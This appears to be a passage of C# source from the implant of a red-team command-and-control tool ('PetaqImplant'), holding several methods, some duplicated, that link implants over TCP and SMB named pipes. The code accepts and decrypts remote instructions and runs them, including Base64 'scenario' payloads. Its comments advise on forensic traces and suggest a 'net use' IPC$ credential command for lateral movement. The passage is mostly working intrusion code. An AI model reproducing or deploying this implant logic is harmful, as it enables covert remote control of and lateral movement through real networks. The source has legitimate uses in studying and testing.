public override void Start() { try { // Setting up the variables for listener ListenPort = int.Parse(Program.configuration["LISTENPORT"]); // Setting the service status Status = true; // Get a new session link. while (Status) { // Listener is configuring TCPService = new TcpListener(IPAddress.Any, ListenPort); // Start listening for client requests. TCPService.Start(); Console.Error.WriteLine("Waiting for linking... "); // Perform a blocking call to accept requests. TCPClient = TCPService.AcceptTcpClient(); Console.Error.WriteLine("The implant is being linked."); LinkStatus = true; Console.Error.WriteLine("Stopping the service as the implant is being linked."); // Stopping the listener as the implant is being linked. TCPService.Stop(); // Read stream as string and process while (LinkStatus) { // Get a stream object for reading and writing NetworkStream stream = TCPClient.GetStream(); // Creating StreamString class for string based communications TCPClientStream = new StreamString(stream); //Instruction received from the TCP client... string instruction = TCPClientStream.ReadString(); instruction = Common.Decrypt(instruction); //Instruction is processing... Instructions.Instruct(instruction); } } } catch (Exception e) { Console.Error.WriteLine("TCP Service Exception on Receive: " + e); Status = false; LinkStatus = false; } finally { Stop(); } }
public override void Connect(string sid, string sa, string option = null) { Console.Error.WriteLine("TCP service is linking."); ServerAddress = sa; sessionId = sid; // Starting the TCP connection as a thread clientThread = new Thread(() => { try { // Setting up the variables for TCP connection Console.Error.WriteLine("TCP connection starting...."); if (option != null) { Port = int.Parse(option); } else { Console.WriteLine("TCP port is required to connect."); } Console.Error.WriteLine("Host: {0}, Port: {1}", ServerAddress, Port); // Connect to the TCP socket. TCPClient = new TcpClient(ServerAddress, Port); Console.Error.WriteLine("TCP client object is created"); Status = true; // Register linked implants as registration started Console.WriteLine("Session {0} is added to the linked sessions.", sessionId); Program.RegisterLinkedImplants(); // Read stream as string and process while (true) { // Get a stream object for reading and writing NetworkStream stream = TCPClient.GetStream(); //Console.Error.WriteLine("Stream received"); // Creating StreamString class for string based communications TCPClientStream = new StreamString(stream); // Request registration first if (!Registration) { AskRegistration(); Console.WriteLine("Registration asked."); } // Request route updates if (!Route) { AskRouteUpdates(); Console.WriteLine("Route updates asked."); } // Reading the data from the socket string output = TCPClientStream.ReadString(); //Console.Error.WriteLine("Output: {0}", Common.Decrypt(output)); // Process the data and send to the linked service LinkedServiceSend(output); } } catch (Exception e) { Console.Error.WriteLine("TCP Client Exception on Connect/Receive: " + e.Message); } finally { // Dispose the TCP client connection Disconnect(); } }); clientThread.Start(); }
public override void Connect(string sid, string sa, string option = null) { Console.Error.WriteLine("Named Pipe is linking."); ServerAddress = sa; sessionId = sid; // Starting the Named Pipe Connection as a thread clientThread = new Thread(() => { try { // Reurposed from the Microsoft sample implementation // https://docs.microsoft.com/en-us/dotnet/standard/io/how-to-use-named-pipes-for-network-interprocess-communication // Custom Named Pipe name support if (option != null) { NamedPipeServiceName = option; } Console.Error.WriteLine("Named pipes are defining."); // Creating the Named Pipe objects NamedPipeClientRead = new NamedPipeClientStream(ServerAddress, NamedPipeServiceName + "o", PipeDirection.InOut, PipeOptions.Asynchronous, TokenImpersonationLevel.Impersonation); NamedPipeClientWrite = new NamedPipeClientStream(ServerAddress, NamedPipeServiceName + "i", PipeDirection.InOut, PipeOptions.Asynchronous, TokenImpersonationLevel.Impersonation); // As the Named Pipes on the network only accessible // via SMB IPC$ connections established // we need to connect to the remote server IPC$ // if necessary with the creds // // This points out that named pipe over network // with null IPC $ is possible // However, the pipe name should appear on the registry // which creates traces, IOCs // https://support.microsoft.com/en-au/help/813414/how-to-create-an-anonymous-pipe-that-gives-access-to-everyone Console.Error.WriteLine("Named pipes on {0} are connecting.", ServerAddress); // Connecting to the Named Pipes NamedPipeClientRead.Connect(); NamedPipeClientWrite.Connect(); Status = true; // Register linked implants as registration started Console.WriteLine("Session {0} is added to the linked sessions.", sessionId); Program.RegisterLinkedImplants(); Console.Error.WriteLine("Streams are building."); // Creating StreamStrings class for string based communications NamedPipeClientReadStream = new StreamString(NamedPipeClientRead); NamedPipeClientWriteStream = new StreamString(NamedPipeClientWrite); // Request registration first if (!Registration) { // Requesting the registration AskRegistration(); } Console.WriteLine("Registration asked."); //Ask route updates //AskRouteUpdates(); //Console.WriteLine("Route updates is requesting..."); //Send(Common.Encrypt("routeupdates")); //Console.Error.WriteLine("Route update is requested. Status {0}", Status); Console.Error.WriteLine("Read loop is starting..."); // Read Pipe stream as string and process while (Status) { Console.Error.WriteLine("Listening to the pipe for data."); // Reading the data from the socket string output = NamedPipeClientReadStream.ReadString(); Console.Error.WriteLine("Data received:\n{0}", Common.Decrypt(output)); // Process the data and send to the linked service LinkedServiceSend(output); // Asking route updates makes the service unresponsive // Maybe waiting for a grace period would work // // Request route after the first response //if (!Route) //{ // // Requesting the registration // AskRouteUpdates(); // Console.WriteLine("Route updates asked."); //} } Console.Error.WriteLine("Stopping listen to the pipe for data."); } catch (Exception e) { string warn = "\nInvalid credentials error may occur if the logged on user has no access to remote server IPC$. Try this before linking 'net use \\\\servername\\IPC$ /user:domain\\user password'. Named pipe would accept null IPC$, though, but this time it leaves traces on the registry."; Console.WriteLine("{0}\nNamed Pipe Client Exception on Connect/Receive: {1}", warn, e.Message); } finally { // Dispose the Named pipe after use Disconnect(); } }); clientThread.Start(); }
public override void Start() { Status = true; while (Status) { Console.Error.WriteLine("Service loop starting..."); try { // As the Named Pipes on the network only accessible // via SMB IPC$ connections established // we need to connect to the remote server IPC$ // if necessary with the creds // // This points out that named pipe over network // with null IPC $ is possible // However, the pipe name should appear on the registry // which creates traces, IOCs // https://support.microsoft.com/en-au/help/813414/how-to-create-an-anonymous-pipe-that-gives-access-to-everyone // Allowing "Everyone" for the named pipe access PipeSecurity ps = new PipeSecurity(); PipeAccessRule AccessRule = new PipeAccessRule("Everyone", PipeAccessRights.FullControl, System.Security.AccessControl.AccessControlType.Allow); ps.AddAccessRule(AccessRule); // Currently implementation has 2 named pipes in use for IO NamedPipeServiceRead = new NamedPipeServerStream(NamedPipeServiceName + "i", PipeDirection.InOut, 1); NamedPipeServiceWrite = new NamedPipeServerStream(NamedPipeServiceName + "o", PipeDirection.InOut, 1); //NamedPipeServiceRead = new NamedPipeServerStream(NamedPipeServiceName + "i", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 0, 0, ps); //NamedPipeServiceWrite = new NamedPipeServerStream(NamedPipeServiceName + "o", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 0, 0, ps); Console.Error.WriteLine("Waiting for linking..."); // Waiting for linking for both service NamedPipeServiceRead.WaitForConnection(); NamedPipeServiceWrite.WaitForConnection(); // Setting write stream for the write named pipe NamedPipeServiceWriteStream = new StreamString(NamedPipeServiceWrite); // There are 2 connections, so linking starts Console.Error.WriteLine("The implant is being linked."); // If there is no instruction sent to the pipe // the implant doesn't sent the data in buffer to the link // This loop is not great for bidirectional comms // To be fixed for future callbacks and triggers while (true) { LinkStatus = true; //Create the stream NamedPipeServiceReadStream = new StreamString(NamedPipeServiceRead); //New Named client connected string instruction = NamedPipeServiceReadStream.ReadString(); //Instruction received from the Named client... instruction = Common.Decrypt(instruction); //Console.Error.WriteLine("Data received:\n{0}", instruction); // If scenario is requested call scenario, otherwise run instructions if (instruction.StartsWith("scenario")) { if (Regex.Split(instruction, " ").Length < 3) { // Set the socket as the Console output Program.consoleIO = Console.Out; Console.SetOut(new SocketWriter()); // Raise the error Console.WriteLine("Usage: scenario file filepath"); } else { // scenario instruction format: // scenario file BASE64STRING string scenario_b64 = Regex.Split(instruction, " ")[2]; // send the Base64 encoded scenario to run PetaqImplant.Scenario.Run(scenario_b64); } } else { // run the instruction received PetaqImplant.Instructions.Instruct(instruction, new SocketWriter()); } } } catch (Exception e) { Console.Error.WriteLine("Named Pipe Service Exception on Receive: " + e.Message); LinkStatus = false; } finally { Stop(); } } }
public override void Start() { try { // Setting up the variables for listener ListenPort = int.Parse(Program.configuration["LISTENPORT"]); // Setting the service status Status = true; // Get a new session link. while (Status) { // Listener is configuring TCPService = new TcpListener(IPAddress.Any, ListenPort); // Start listening for client requests. TCPService.Start(); Console.Error.WriteLine("Waiting for linking... "); // Perform a blocking call to accept requests. TCPClient = TCPService.AcceptTcpClient(); Console.Error.WriteLine("The implant is being linked."); LinkStatus = true; Console.Error.WriteLine("Stopping the service as the implant is being linked."); // Stopping the listener as the implant is being linked. TCPService.Stop(); // Read stream as string and process while (LinkStatus) { // Get a stream object for reading and writing NetworkStream stream = TCPClient.GetStream(); // Creating StreamString class for string based communications TCPClientStream = new StreamString(stream); //Instruction received from the TCP client... string instruction = TCPClientStream.ReadString(); instruction = Common.Decrypt(instruction); // If scenario is requested call scenario, otherwise run instructions if (instruction.StartsWith("scenario")) { if (Regex.Split(instruction, " ").Length < 3) { // Set the socket as the Console output Program.consoleIO = Console.Out; Console.SetOut(new SocketWriter()); // Raise the error Console.WriteLine("Usage: scenario file filepath"); } else { // scenario instruction format: // scenario file BASE64STRING string scenario_b64 = Regex.Split(instruction, " ")[2]; // send the Base64 encoded scenario to run PetaqImplant.Scenario.Run(scenario_b64); } } else { // run the instruction received PetaqImplant.Instructions.Instruct(instruction, new SocketWriter()); } } } } catch (Exception e) { Console.Error.WriteLine("TCP Service Exception on Receive: " + e); Status = false; LinkStatus = false; } finally { Stop(); } }